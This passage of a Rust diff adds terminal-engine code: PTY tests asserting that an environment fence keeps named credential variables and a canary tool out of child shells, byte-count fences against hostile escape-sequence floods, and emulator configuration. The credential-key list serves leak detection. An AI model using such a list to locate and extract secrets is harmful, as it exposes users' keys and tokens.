+/// Secrets Buzz's own process holds. Sourced from the desktop crate's
+/// `RESERVED_ENV_KEYS` (`src/managed_agents/env_vars.rs:58`); duplicated
+/// rather than imported because this crate deliberately has no dependency
+/// on the Tauri crate. `reserved_keys_are_covered` keeps the two in step.
+const SECRET_KEYS: &[&str] = &[
+    "BUZZ_PRIVATE_KEY",
+    "NOSTR_PRIVATE_KEY",
+    "BUZZ_AUTH_TAG",
+    "BUZZ_API_TOKEN",
+    "BUZZ_ACP_PRIVATE_KEY",
+    "BUZZ_ACP_API_TOKEN",
+    "BUZZ_RELAY_URL",
+];
+
+const CANARY: &str = "SAMI_CANARY_MUST_NOT_LEAK";
+
+/// Uniquely-named executable seeded into Buzz's own PATH; the child must not
+/// be able to run it.
+const CANARY_BIN: &str = "buzz-hermit-canary-tool";
+
+/// Creates a fixture file at `name` with `mode`, replacing any leftover from
+/// a previous run.
+///
+/// The removal is not tidiness: a fixture written at mode `0o010` is not
+/// writable by its own owner, so a second run in the same temp dir fails with
+/// `Permission denied` before reaching a single assertion. Green on a fresh
+/// runner, red on a persistent one — a test must not depend on which it got.
+#[cfg(unix)]
+fn fixture_file(name: &str, contents: &str, mode: u32) -> std::path::PathBuf {
+    use std::os::unix::fs::PermissionsExt;
+
+    let path = std::env::temp_dir().join(name);
+    let _ = std::fs::remove_file(&path);
+    std::fs::write(&path, contents).expect("write fixture");
+    std::fs::set_permissions(&path, std::fs::Permissions::from_mode(mode)).expect("chmod fixture");
+    path
+}
+
+/// Runs `env` in a real PTY child under the full fence and returns its output.
+fn fenced_child_environment() -> String {
+    let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
+    child_environment(|cmd| fence_env(cmd, &user_shell_path(), &shell))
+}
+
+/// Runs `env` in a real PTY child and returns its raw output.
+fn child_environment(build: impl FnOnce(&mut CommandBuilder)) -> String {
+    child_command(build, "env")
+}
+
+/// Runs `script` in a real PTY child under `build`'s fence and returns the
+/// child's output.
+///
+/// The child is a real process on a real PTY rather than an inspection of the
+/// `CommandBuilder`: the builder is what we asked for, and the child's
+/// `environ` is what the kernel actually delivered. Only the second one is the
+/// property under test.
+fn child_command(build: impl FnOnce(&mut CommandBuilder), script: &str) -> String {
+    let pty = native_pty_system();
+    let pair = pty
+        .openpty(PtySize {
+            rows: 24,
+            cols: 80,
+            pixel_width: 0,
+            pixel_height: 0,
+        })
+        .expect("openpty");
+
+    let mut cmd = CommandBuilder::new("/bin/sh");
+    build(&mut cmd);
+    cmd.arg("-c");
+    cmd.arg(script);
+
+    let mut child = pair.slave.spawn_command(cmd).expect("spawn");
+    drop(pair.slave);
+
+    let mut reader = pair.master.try_clone_reader().expect("reader");
+    let mut out = String::new();
+    reader.read_to_string(&mut out).expect("read child output");
+    child.wait().expect("wait");
+    out
+}
+
+/// Seeds this process with secrets so the fence has something to leak.
+///
+/// Note these are process-global; the tests that rely on them assert on a
+/// canary value they set themselves, so a real `BUZZ_PRIVATE_KEY` in the
+/// developer's environment neither masks a failure nor causes one.
+fn seed_secrets() {
+    for key in SECRET_KEYS {
+        std::env::set_var(key, format!("{CANARY}_{key}"));
+    }
+}
+
+#[test]
+fn fence_keeps_secrets_out_of_the_child() {
+    seed_secrets();
+    let out = fenced_child_environment();
+
+    assert!(
+        !out.contains(CANARY),
+        "a reserved secret reached the child environment:\n{out}"
+    );
+    for key in SECRET_KEYS {
+        assert!(
+            !out.lines().any(|line| line.starts_with(&format!("{key}="))),
+            "{key} reached the child environment:\n{out}"
+        );
+    }
+}
+
+/// The other half of the assertion. A fence that clears in the wrong order
+/// produces an empty environment: it passes the leak check above while
+/// shipping a shell with no context and no error. Asserting only the negative
+/// would ratify that bug.
+#[test]
+fn fence_still_delivers_the_terminal_contract() {
+    seed_secrets();
+    let out = fenced_child_environment();
+
+    for (key, value) in [("TERM", "xterm-256color"), ("TERM_PROGRAM", "Buzz")] {
+        assert!(
+            out.lines().any(|line| line == format!("{key}={value}")),
+            "{key} missing from child environment:\n{out}"
+        );
+    }
+    assert!(
+        out.lines().any(|line| line.starts_with("PATH=")),
+        "PATH missing from child environment:\n{out}"
+    );
+}
+
+/// The fence must be exhaustive, not enumerated: a secret invented tomorrow
+/// is excluded because it was never allowlisted. This is the property the
+/// `feat/terminal` denylist could not offer.
+#[test]
+fn fence_excludes_keys_it_has_never_heard_of() {
+    std::env::set_var("BUZZ_SOME_FUTURE_CREDENTIAL", CANARY);
+    let out = fenced_child_environment();
+
+    assert!(
+        !out.contains("BUZZ_SOME_FUTURE_CREDENTIAL"),
+        "an unknown key reached the child:\n{out}"
+    );
+}
+
+/// `PATH` is constructed, not inherited, so Buzz's Hermit build toolchain
+/// never becomes the user's shell toolchain.
+///
+/// The assertion is *reachability*, not a string comparison: we seed a
+/// uniquely-named executable into this process's `PATH` and prove the child
+/// cannot run it. A string check would pass a fence that inherited a
+/// differently-spelled toolchain directory, and would fail a fence that
+/// legitimately contained the substring; `command -v` asks the question the
+/// user actually asks by typing a command name.
+#[test]
+fn child_path_is_free_of_buzz_toolchain() {
+    let dir = std::env::temp_dir().join("buzz-terminal-path-canary");
+    std::fs::create_dir_all(&dir).expect("canary dir");
+    let canary = dir.join(CANARY_BIN);
+    std::fs::write(&canary, "#!/bin/sh\necho canary\n").expect("write canary");
+    #[cfg(unix)]
+    {
+        use std::os::unix::fs::PermissionsExt;
+        std::fs::set_permissions(&canary, std::fs::Permissions::from_mode(0o755))
+            .expect("chmod canary");
+    }
+
+    // Stand in for Hermit activation: Buzz's own PATH leads with a directory
+    // holding a tool the user does not have.
+    std::env::set_var("PATH", format!("{}:/usr/bin:/bin", dir.display()));
+    assert!(
+        is_executable_file(&canary),
+        "test setup: canary must be executable"
+    );
+
+    let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
+    let out = child_environment(|cmd| {
+        fence_env(cmd, &user_shell_path(), &shell);
+    });
+    let path_line = out
+        .lines()
+        .find(|line| line.starts_with("PATH="))
+        .expect("child has a PATH");
+    assert!(
+        !path_line.contains("buzz-terminal-path-canary"),
+        "Buzz's toolchain leaked into the child PATH: {path_line}"
+    );
+
+    // The reachability arm: run `command -v` for the canary inside the fence.
+    let resolved = child_command(
+        |cmd| fence_env(cmd, &user_shell_path(), &shell),
+        &format!("command -v {CANARY_BIN} || echo CANARY_UNREACHABLE"),
+    );
+    assert!(
+        resolved.contains("CANARY_UNREACHABLE"),
+        "a Buzz-only executable was reachable from the child shell: {resolved}"
+    );
+}
+
+/// `$SHELL` is honoured when it names an executable regular file.
+#[test]
+fn resolve_shell_prefers_a_valid_shell_env() {
+    assert_eq!(resolve_shell(Some("/bin/sh")), "/bin/sh");
+}
+
+/// The other direction: an unset `$SHELL` must fall through to the **passwd
+/// database**, not to the hardcoded fallback.
+///
+/// Asserting merely that the result is executable is vacuous — `/bin/sh` is
+/// executable, so a resolver with the passwd step deleted entirely passes it.
+/// Verified: mutant M8 (drop `.or_else(passwd_shell)`) survived that weaker
+/// assertion. The property is *equality with the passwd entry*, and the
+/// discriminating-power guard below refuses to pass silently on a machine
+/// where the two candidates coincide.
+#[test]
+fn resolve_shell_falls_through_to_passwd_not_the_default() {
+    let Some(passwd) = crate::shell::passwd_shell() else {
+        panic!("no usable passwd shell; this gate cannot run on this machine");
+    };
+    assert_ne!(
+        passwd, FALLBACK_SHELL,
+        "passwd shell equals the fallback, so this test cannot tell the \
+         passwd step from its absence; it must not report success"
+    );
+    assert_eq!(
+        resolve_shell(None),
+        passwd,
+        "an unset $SHELL did not resolve to the passwd entry"
+    );
+}
+
+/// `access(X_OK)` returns 0 for a directory, so a `$SHELL` pointing at one
+/// passes portable-pty's own check and produces a child that dies with a Rust
+/// runtime panic. Requiring an executable *regular file* is what closes it.
+#[test]
+fn resolve_shell_rejects_a_directory_that_passes_x_ok() {
+    let dir = std::env::temp_dir();
+    assert!(
+        !is_executable_file(&dir),
+        "a directory must not qualify as a shell"
+    );
+    assert_ne!(
+        resolve_shell(dir.to_str()),
+        dir.to_str().unwrap(),
+        "a directory $SHELL was accepted; the child would abort on spawn"
+    );
+}
+
+/// Raw mode bits are not effective executability: a self-owned regular file
+/// at mode `0o010` has `mode & 0o111 != 0` while `access(X_OK)` fails and
+/// running it gives `Permission denied`. The metadata half of the predicate
+/// cannot see this; only the `access` half can.
+#[test]
+fn resolve_shell_rejects_a_file_the_user_cannot_execute() {
+    use std::os::unix::fs::PermissionsExt;
+
+    let path = fixture_file("buzz-terminal-group-only-exec", "#!/bin/sh\ntrue\n", 0o010);
+    let mode = std::fs::metadata(&path).expect("stat").permissions().mode();
+    assert!(
+        mode & 0o111 != 0,
+        "test setup: some class must hold an execute bit, else this arm \
+         cannot discriminate the mode check from the access check"
+    );
+
+    assert!(
+        !is_executable_file(&path),
+        "a file the effective user cannot execute was accepted as a shell"
+    );
+    assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
+}
+
+/// A non-executable regular file falls through as well.
+#[test]
+fn resolve_shell_rejects_a_non_executable_file() {
+    let path = fixture_file("buzz-terminal-not-a-shell", "not a shell", 0o644);
+    assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
+}
+
+/// The login convention is `-<basename>`, applied without inspecting the
+/// shell's name. Any shell — including ones that do not exist yet — gets
+/// login semantics from argv0 rather than from a flag we guessed.
+#[test]
+fn login_argv0_is_shell_neutral() {
+    for (shell, expected) in [
+        ("/bin/zsh", "-zsh"),
+        ("/usr/local/bin/fish", "-fish"),
+        ("/opt/nu/bin/nu", "-nu"),
+        (FALLBACK_SHELL, "-sh"),
+    ] {
+        assert_eq!(login_argv0(shell), expected);
+    }
+}
+
+/// The child must be told the shell we actually spawned, not the one Buzz
+/// itself was launched under. Asserting `SHELL` is merely present would pass
+/// for an inherited value, which is wrong in exactly the fallback cases.
+#[test]
+fn child_shell_is_the_resolved_shell_not_the_inherited_one() {
+    std::env::set_var("SHELL", "/definitely/not/a/real/shell");
+    let resolved = resolve_shell(std::env::var("SHELL").ok().as_deref());
+    assert_ne!(
+        resolved, "/definitely/not/a/real/shell",
+        "test setup: the bogus shell must not resolve"
+    );
+
+    let out = child_environment(|cmd| fence_env(cmd, &user_shell_path(), &resolved));
+    assert!(
+        out.lines().any(|line| line == format!("SHELL={resolved}")),
+        "child SHELL is not the resolved shell (expected {resolved}):\n{out}"
+    );
+    assert!(
+        !out.contains("/definitely/not/a/real/shell"),
+        "the inherited SHELL reached the child:\n{out}"
+    );
+}
+
+/// Guards the duplication of `RESERVED_ENV_KEYS` above. If the desktop crate
+/// grows a new secret, this points at the file to update.
+#[test]
+fn reserved_keys_are_covered() {
+    // The list lives in its own file because `build.rs` `include!`s the same
+    // source (see `managed_agents/reserved_env_keys.rs`); read it there rather
+    // than through the module that includes it.
+    let source = include_str!("../../../src/managed_agents/reserved_env_keys.rs");
+    let declared: Vec<&str> = source
+        .lines()
+        .skip_while(|line| !line.contains("RESERVED_ENV_KEYS"))
+        .take_while(|line| !line.trim_start().starts_with("];"))
+        .filter_map(|line| line.trim().strip_prefix('"'))
+        .filter_map(|line| line.split('"').next())
+        .filter(|key| {
+            // Only identity/credential keys are in scope here: the rest of
+            // RESERVED_ENV_KEYS guards agent-config override, which cannot
+            // apply to a child that inherits nothing.
+            key.contains("PRIVATE_KEY")
+                || key.contains("AUTH_TAG")
+                || key.contains("API_TOKEN")
+                || key.contains("RELAY_URL")
+        })
+        .collect();
+
+    assert!(!declared.is_empty(), "failed to parse RESERVED_ENV_KEYS");
+    for key in declared {
+        assert!(
+            SECRET_KEYS.contains(&key),
+            "{key} is a credential in RESERVED_ENV_KEYS but is not covered by \
+             this crate's SECRET_KEYS; add it here"
+        );
+    }
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/fences.rs b/desktop/src-tauri/crates/buzz-terminal/src/fences.rs
new file mode 100644
index 0000000000..2797fa401f
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/fences.rs
@@ -0,0 +1,262 @@
+//! The two hardening fences, and the counters that prove they ran.
+//!
+//! A hostile program can hold the parser's synchronized-update buffer open
+//! (BSU without ESU) or an OSC string open, and upstream will buffer without
+//! bound. Two independent fences, both enforced on **byte counts** — never on
+//! a clock, because a clock makes the bound depend on how fast the machine is:
+//!
+//! * **F1** aborts a synchronized update once its buffer reaches [`SYNC_CAP`].
+//! * **F2** rebuilds the parser once [`OSC_BUDGET`] parser-visible bytes have
+//!   been charged without the parser returning to a clean state.
+//!
+//! F1 is also the interactive-latency fence. Without it a 2 MiB synchronized
+//! frame releases into the parser in one call, holding the `Term` lock for
+//! ~13 ms; with it the same frame arrives in 64 KiB pieces and renderer lock
+//! acquisition drops from ~4.2 ms to ~29 us (146x). Deleting F1 regresses both
+//! memory and latency.
+
+/// Max bytes a synchronized update may buffer before it is aborted.
+pub const SYNC_CAP: usize = 64 << 10;
+
+/// Max parser-visible bytes chargeable before the parser is rebuilt.
+pub const OSC_BUDGET: usize = 256 << 10;
+
+/// Max cost-weighted work one [`crate::reader::Feeder::drain`] may spend
+/// before returning, in cell-equivalents.
+///
+/// Derived, not chosen: measured worst-case density across the 2-D op sweep
+/// is 16.9 ns/work (`erase_chars` at N=1, 80x24 -- the cheapest real callback,
+/// where fixed dispatch cost dominates the single cell it touches), so a
+/// 16.67 ms frame is ~988_000 work units. This is a quarter of that. The
+/// remaining three quarters are headroom for lock acquisition, the counting
+/// wrapper's own bookkeeping, and platforms slower than the one measured;
+/// 16.9 ns/work is the max of a sample, not a proven ceiling, so it is not
+/// spent to the last unit.
+pub const WORK_BUDGET: u64 = 250_000;
+
+/// Widest slice handed to the parser at once.
+///
+/// The floor is 1 byte and lives in [`slice_bytes_remaining`] rather than
+/// here: on a grid whose worst atom exceeds the whole budget -- RIS at any
+/// real scrollback depth -- no wider slice can promise to stop after the
+/// callback that crosses. This cap is the other end, set at the throughput
+/// plateau: plain-char parsing saturates by 64 bytes and is flat to 64 KiB
+/// measured, so nothing above it buys anything and a larger value only
+/// coarsens the cut.
+pub const MAX_SLICE: usize = 256;
+
+/// Bytes to hand the parser next.
+///
+/// The **only** slice-sizing function, deliberately: an earlier version of
+/// this module also exported a `slice_bytes(columns, lines, scrollback)` that
+/// the scheduler stopped calling when slices became remaining-aware, and the
+/// fixtures went on asserting against it. The two disagreed exactly where the
+/// floor bound -- reporting 4 where the engine used 1 -- so the preconditions
+/// were describing a function no longer in the path. One function, one
+/// answer, and every test asserts on what `drain` actually calls.
+///
+/// The rule: a slice of `N` bytes holds at most `N / atom_bytes` atoms, so
+/// `remaining / densest` bytes cannot carry a drain past the budget.
+///
+/// `next_escape` is how far the next `ESC` is from the front of the tail.
+/// This is the difference between a correct bound and an unusable one. Only
+/// an escape can buy grid-sized work in two bytes; a run of ordinary
+/// characters costs at most `columns` per byte (a wrapping line feed that
+/// scrolls), which is four orders of magnitude cheaper than RIS. Pricing
+/// plain text as though every byte might be RIS drops throughput from
+/// 181 MB/s to 69 MB/s at the default scrollback -- measured -- while
+/// bounding something that cannot happen. So a plain run is sliced against
+/// the plain-byte cost and only the escape itself is metered against the
+/// worst atom.
+pub fn slice_bytes_remaining(
+    columns: usize,
+    lines: usize,
+    scrollback: usize,
+    spent: u64,
+    next_escape: usize,
+) -> usize {
+    let remaining = WORK_BUDGET.saturating_sub(spent);
+    if next_escape > 0 {
+        // A plain run, and it stops at the escape: an escape sharing a slice
+        // with the text in front of it is how a callback runs *after* the one
+        // that crossed the budget, which is the overrun this bound exists to
+        // prevent. Worst case per plain byte is a line feed that scrolls,
+        // which resets one row: `columns`.
+        let per_byte = (columns as u64).max(1);
+        return ((remaining / per_byte) as usize).clamp(1, next_escape.min(MAX_SLICE));
+    }
+    // An escape starts here. `ESC c` is the densest at two bytes.
+    let densest = (max_atom_work(columns, lines, scrollback) / 2).max(1);
+    ((remaining / densest) as usize).clamp(1, MAX_SLICE)
+}
+
+/// Work the single worst uninterruptible callback can cost on this grid.
+///
+/// This is the irreducible overrun past [`WORK_BUDGET`]: no scheduler outside
+/// the parser can cut inside a callback, so a caller converting a work budget
+/// into a time bound must add it.
+///
+/// It is `columns` because [`crate::units::Counting`] terminates CBT at its
+/// first fixed point. Upstream's own loop is `N x columns` -- 82 ms for eight
+/// bytes at 1600 columns -- and clamping `N` to `columns` only brings that to
+/// `columns^2`, which at 1600 is 2.56M work, **10x the whole budget**: the
+/// atom, not the budget, would decide the bound. Stopping at the fixed point
+/// makes it `columns`, and the budget goes back to being the thing that sets
+/// the bound. Every other callback is priced at or below `cells`, which is
+/// larger, so this term never dominates.
+pub fn max_atom_work(columns: usize, lines: usize, scrollback: usize) -> u64 {
+    // RIS: both grids plus the primary's configured scrollback. This is the
+    // largest single callback by a wide margin -- 16x the budget at the
+    // default 10k depth -- and it is genuinely indivisible, so it is stated
+    // rather than smoothed. CBT, once terminated at its fixed point, is
+    // `columns` and never competes.
+    //
+    // Saturating, and widened to u64 *before* multiplying. `Size` fields are
+    // unclamped `usize` with no caller bounding them, so the products here
+    // are reachable overflows: in debug that is a panic in the accounting
+    // path, and in release it wraps to a small number, which understates the
+    // bound -- an overflow that reports the parser as cheap is the worst of
+    // the three outcomes.
+    let (columns, lines, scrollback) = (columns as u64, lines as u64, scrollback as u64);
+    let both_grids = columns.saturating_mul(lines).saturating_mul(2);
+    let history = scrollback.saturating_mul(columns);
+    both_grids.saturating_add(history).max(columns)
+}
+
+/// Upper bound on the work a single [`crate::reader::Feeder::drain`] can do.
+///
+/// Two irreducible terms on top of [`WORK_BUDGET`], and it is worth being
+/// exact about which is which, because I got this wrong first and the
+/// fixtures caught it:
+///
+/// * The budget is checked *between* slices, so a drain overshoots by up to
+///   one whole slice -- not one atom. [`slice_bytes_remaining`] keeps that
+///   under one budget wherever its derivation is unclamped.
+/// * A callback already running cannot be preempted. RIS at the default 10k
+///   scrollback is worth 16x the whole budget on its own, so on such a grid
+///   the floor binds and the overshoot is a few of those atoms. No scheduler
+///   outside the parser can fix that -- what it can do is *report* it, which
+///   is why this is a function callers can read rather than an assumption
+///   they inherit.
+pub fn max_drain_work(columns: usize, lines: usize, scrollback: usize) -> u64 {
+    // One atom, not one slice: [`crate::reader::Feeder::drain`] sizes every
+    // slice against the *remaining* budget, so it cannot start a slice able
+    // to hold more work than is left. What it cannot do is preempt a callback
+    // that has begun, which is where this term comes from.
+    WORK_BUDGET.saturating_add(max_atom_work(columns, lines, scrollback))
+}
+
+/// Max bytes that may sit unparsed before the reader must stop reading the
+/// PTY. Bounds the *queue*; [`WORK_BUDGET`] bounds only the lock hold.
+pub const TAIL_CAP: usize = 4 << 20;
+
+/// Depth at which a paused reader may resume. Strictly below [`TAIL_CAP`] so
+/// the reader does not flap between full and one-byte-below-full.
+pub const TAIL_RESUME: usize = 1 << 20;
+
+/// Which fences are active. Both on in production.
+///
+/// The mutation law requires exercising each fence with the other **disabled**,
+/// because F1's abort releases the sync buffer in small pieces and thereby
+/// masks a miscounting F2. This is deliberately a runtime value and not a cargo
+/// feature: a fence that can be compiled out is one more way for a gate to pass
+/// green over code that never ran.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct Fences {
+    /// F1: abort a synchronized update at [`SYNC_CAP`].
+    pub sync_abort: bool,
+    /// F2: rebuild the parser at [`OSC_BUDGET`].
+    pub osc_budget: bool,
+}
+
+impl Default for Fences {
+    fn default() -> Self {
+        Self {
+            sync_abort: true,
+            osc_budget: true,
+        }
+    }
+}
+
+impl Fences {
+    /// Production configuration: both fences enforced.
+    pub const ALL: Self = Self {
+        sync_abort: true,
+        osc_budget: true,
+    };
+    /// F2 alone — the arm that can observe F2's counting, unmasked by F1.
+    pub const OSC_ONLY: Self = Self {
+        sync_abort: false,
+        osc_budget: true,
+    };
+    /// F1 alone.
+    pub const SYNC_ONLY: Self = Self {
+        sync_abort: true,
+        osc_budget: false,
+    };
+    /// Neither — the unfenced control that shows what upstream does alone.
+    pub const NONE: Self = Self {
+        sync_abort: false,
+        osc_budget: false,
+    };
+}
+
+/// Per-run fence observations. Every field is what some gate asserts on.
+///
+/// `charged_bytes` is deliberately separate from `osc_resets`: a deleted F2
+/// shows up as `osc_resets == 0`, but an F2 that counts the *wrong* bytes
+/// (omitting flush routes, or charging raw input) still resets — only the
+/// charge total distinguishes those. One counter cannot see both mutations.
+#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
+pub struct FenceStats {
+    /// F1 aborts performed.
+    pub sync_aborts: u64,
+    /// Largest number of bytes released to the parser by a single flush,
+    /// whether via an F1 abort or a legitimate end-of-update. This is the
+    /// quantity that bounds one lock hold.
+    pub max_release: usize,
+    /// F2 parser rebuilds performed.
+    pub osc_resets: u64,
+    /// Parser-visible bytes charged against the F2 budget, cumulative across
+    /// resets. Includes every flush route, not just directly-advanced input.
+    pub charged_bytes: u64,
+    /// Parser units completed: one per `Handler` callback dispatched, which is
+    /// one per fully-parsed escape sequence or printed character.
+    ///
+    /// Separate from `charged_bytes` because they answer different questions
+    /// and can disagree by orders of magnitude: four bytes of `ESC#8` rewrite
+    /// the whole grid, four bytes of `ESC[m` set a flag. Bytes bound memory;
+    /// units are the proxy for time. See [`crate::units`].
+    pub completed_units: u64,
+    /// Cost-weighted work completed, in cell-equivalents: an O(cells) callback
+    /// charges `columns * lines`, an O(1) callback charges 1.
+    ///
+    /// Deliberately a second number rather than a replacement for
+    /// `completed_units`. They answer different questions -- "how many things
+    /// happened" versus "how much did they cost" -- and a stream of `ESC#8`
+    /// makes them disagree by four orders of magnitude, which is the entire
+    /// reason this fence exists.
+    pub completed_work: u64,
+    /// Deepest the unparsed tail has been, in bytes. The high-water mark
+    /// rather than the current depth, because the current depth is zero again
+    /// by the time a test looks at it.
+    pub max_pending: usize,
+    /// Times the tail was at or over [`TAIL_CAP`] at the end of a drain.
+    ///
+    /// Loud on purpose. Reaching the cap means the reader kept reading past
+    /// the point it was told to stop, so the queue bound is being held by
+    /// nothing; a silent cap would make that indistinguishable from a reader
+    /// that is obeying.
+    pub tail_breaches: u64,
+    /// Bytes discarded unparsed by [`crate::reader::Feeder::abandon_tail`].
+    /// Non-zero anywhere but session close is a bug that ate output.
+    pub abandoned_bytes: u64,
+}
+
+impl FenceStats {
+    /// Clear all counters. Diagnostics are per-run; a gate that reads a
+    /// counter accumulated across runs is asserting on the wrong thing.
+    pub fn reset(&mut self) {
+        *self = Self::default();
+    }
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/lib.rs b/desktop/src-tauri/crates/buzz-terminal/src/lib.rs
new file mode 100644
index 0000000000..32ebbb1b8f
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/lib.rs
@@ -0,0 +1,290 @@
+//! Terminal engine for the Buzz substrate.
+//!
+//! Owns the emulator: grid state, the parser, the two hardening fences, and
+//! the damage encoding the renderer consumes. It does **not** own the PTY, the
+//! child process, or the transport — those are the embedder's, so this crate
+//! stays testable against byte fixtures with no process and no window.
+
+pub mod context;
+pub mod damage;
+pub mod env_fence;
+pub mod fences;
+pub mod lifecycle;
+pub mod listener;
+pub mod path;
+pub mod reader;
+pub mod shared;
+pub mod shell;
+pub mod units;
+
+#[cfg(test)]
+mod context_tests;
+// `--all-targets` compiles `#[cfg(test)]` modules, so a Windows `cargo check`
+// builds these two -- and they drive real PTYs, `libc::kill`, and unix
+// permission bits, which do not exist there. Gating the *modules* rather than
+// their contents keeps the unix-only shape honest: the code under test is
+// itself `#[cfg(unix)]`, so a Windows build has nothing to assert against.
+// `context_tests` is pure string logic and stays portable.
+#[cfg(all(test, unix))]
+mod env_fence_tests;
+#[cfg(all(test, unix))]
+mod lifecycle_tests;
+
+use alacritty_terminal::grid::Dimensions;
+use alacritty_terminal::term::{Config, Osc52, Term};
+use alacritty_terminal::vte::ansi::CursorStyle;
+
+pub use fences::{FenceStats, Fences};
+pub use listener::{Action, Listener};
+pub use shared::{AcquireMeter, AcquireStats, SharedTerminal};
+
+/// Which grid a frame or a resize refers to.
+///
+/// Generation and dimensions travel together as one value because they answer
+/// one question -- "is this the grid I am currently showing?" -- and a consumer
+/// that compares them field by field can compare two of the three and be wrong
+/// on a resize that changes only the one it skipped.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct Viewport {
+    /// Advances on every *applied* resize. A same-size resize is inert and
+    /// does not advance it, so an unchanged `ResizeObserver` tick cannot look
+    /// like a discontinuity.
+    pub generation: u64,
+    pub columns: usize,
+    pub screen_lines: usize,
+}
+
+/// Terminal dimensions in cells, plus how much scrollback to retain.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct Size {
+    pub columns: usize,
+    pub screen_lines: usize,
+    pub scrollback: usize,
+}
+
+impl Default for Size {
+    fn default() -> Self {
+        Self {
+            columns: 80,
+            screen_lines: 24,
+            scrollback: 10_000,
+        }
+    }
+}
+
+impl Dimensions for Size {
+    fn total_lines(&self) -> usize {
+        self.screen_lines + self.scrollback
+    }
+
+    fn screen_lines(&self) -> usize {
+        self.screen_lines
+    }
+
+    fn columns(&self) -> usize {
+        self.columns
+    }
+}
+
+/// Build the emulator config.
+///
+/// Written as an explicit literal rather than `..Default::default()` so that
+/// every security-relevant field is stated here and an upstream default change
+/// cannot alter our posture silently. In particular `osc52` defaults to
+/// `OnlyCopy` upstream, which would let terminal output write the user's
+/// clipboard; we disable it outright.
+pub fn config(size: Size) -> Config {
+    Config {
+        scrolling_history: size.scrollback,
+        default_cursor_style: CursorStyle::default(),
+        vi_mode_cursor_style: None,
+        semantic_escape_chars: String::from(",│`|:\"' ()[]{}<>\t"),
+        kitty_keyboard: false,
+        osc52: Osc52::Disabled,
+    }
+}
+
+/// A terminal: emulator state plus the fenced parser that drives it.
+pub struct Terminal {
+    term: Term<Listener>,
+    feeder: reader::Feeder,
+    size: Size,
+    generation: u64,
+}
+
+impl Terminal {
+    pub fn new(size: Size, fences: Fences) -> (Self, std::sync::mpsc::Receiver<Action>) {
+        let (listener, actions) = Listener::new();
+        let term = Term::new(config(size), &size, listener);
+        (
+            Self {
+                term,
+                feeder: reader::Feeder::new(
+                    fences,
+                    size.columns,
+                    size.screen_lines,
+                    size.scrollback,
+                ),
+                size,
+                generation: 0,
+            },
+            actions,
+        )
+    }
+
+    /// Feed PTY output through the fences into the emulator.
+    ///
+    /// Parses what one work budget affords and returns with the rest held as
+    /// a pending tail, so one call cannot hold the terminal for an unbounded
+    /// time. **The caller must pump [`Terminal::drain`] until it returns
+    /// false**, releasing the lock between calls; that is the whole point --
+    /// the tail exists to give the renderer a chance at the lock, not to defer
+    /// work indefinitely. [`Terminal::pending_bytes`] and
+    /// [`Terminal::tail_full`] tell the reader when to stop reading the PTY.
+    pub fn feed(&mut self, bytes: &[u8]) -> bool {
+        self.feeder.feed(&mut self.term, bytes)
+    }
+
+    /// Parse more of the pending tail. Returns whether any remains.
+    pub fn drain(&mut self) -> bool {
+        self.feeder.drain(&mut self.term);
+        self.feeder.pending_bytes() > 0
+    }
+
+    /// Feed and parse to completion, without the intervening lock releases.
+    ///
+    /// For tests and for callers with no renderer contending -- it reinstates
+    /// exactly the unbounded hold [`Terminal::feed`] exists to prevent, so it
+    /// is deliberately a separate name rather than a flag on `feed`.
+    pub fn feed_fully(&mut self, bytes: &[u8]) {
+        self.feed(bytes);
+        while self.drain() {}
+    }
+
+    /// Bytes accepted but not yet parsed.
+    pub fn pending_bytes(&self) -> usize {
+        self.feeder.pending_bytes()
+    }
+
+    /// Whether the tail is at its cap and the reader must stop reading.
+    /// See [`reader::Feeder::tail_full`] for why production deliberately has
+    /// no consumer yet.
+    ///
+    /// There is no production consumer today, deliberately: the desktop
+    /// runtime pumps `drain()` to completion after every read, so the tail is
+    /// empty between iterations. A future reader that defers pumping must
+    /// consult this signal before accepting more PTY bytes.
+    pub fn tail_full(&self) -> bool {
+        self.feeder.tail_full()
+    }
+
+    /// Whether a paused reader may resume.
+    pub fn tail_drained(&self) -> bool {
+        self.feeder.tail_drained()
+    }
+
+    /// Discard the unparsed tail. Session close only -- see
+    /// [`reader::Feeder::abandon_tail`].
+    pub fn abandon_tail(&mut self) -> usize {
+        self.feeder.abandon_tail()
+    }
+
+    pub fn stats(&self) -> FenceStats {
+        self.feeder.stats()
+    }
+
+    pub fn reset_stats(&mut self) {
+        self.feeder.reset_stats();
+    }
+
+    pub fn size(&self) -> Size {
+        self.size
+    }
+
+    /// The grid as it stands now. Stamped onto each [`damage::Frame`] so a
+    /// consumer can tell that a frame describes a *different* grid than the one
+    /// it last drew, without having to infer it from message ordering.
+    pub fn viewport(&self) -> Viewport {
+        Viewport {
+            generation: self.generation,
+            columns: self.size.columns,
+            screen_lines: self.size.screen_lines,
+        }
+    }
+
+    /// Apply a new viewport.
+    ///
+    /// Takes one target size, never a stream of them: resize is superlinear in
+    /// scrollback (2.5-4.7 ms per single column change at 10k history, and 40
+    /// sequential 1-column steps cost 7.4x their coalesced equivalent), and it
+    /// runs while holding the terminal. Coalescing is the caller's job; this
+    /// function's job is to make the result observable.
+    ///
+    /// A resize forces a full damage frame -- upstream's `TermDamageState`
+    /// sets `full` in its own `resize` (`term/mod.rs:240`) -- which is what
+    /// keeps the encoder's per-line hashes from suppressing reflowed content.
+    /// The generation bump is belt-and-braces on top of that: it lets the
+    /// consumer *verify* it received the discontinuity rather than assume it.
+    ///
+    /// Returns the viewport that is now in effect, which is not necessarily the
+    /// one requested: a same-size call is inert and returns the current
+    /// generation unchanged. Returning it here rather than making the caller
+    /// ask afterwards matters across a transport -- a follow-up query races the
+    /// next resize, so the answer could describe a grid that had already been
+    /// replaced by the time it was read.
+    pub fn resize(&mut self, size: Size) -> Viewport {
+        if size == self.size {
+            return self.viewport();
+        }
+        self.term.resize(size);
+        self.feeder.resize(size);
+        self.size = size;
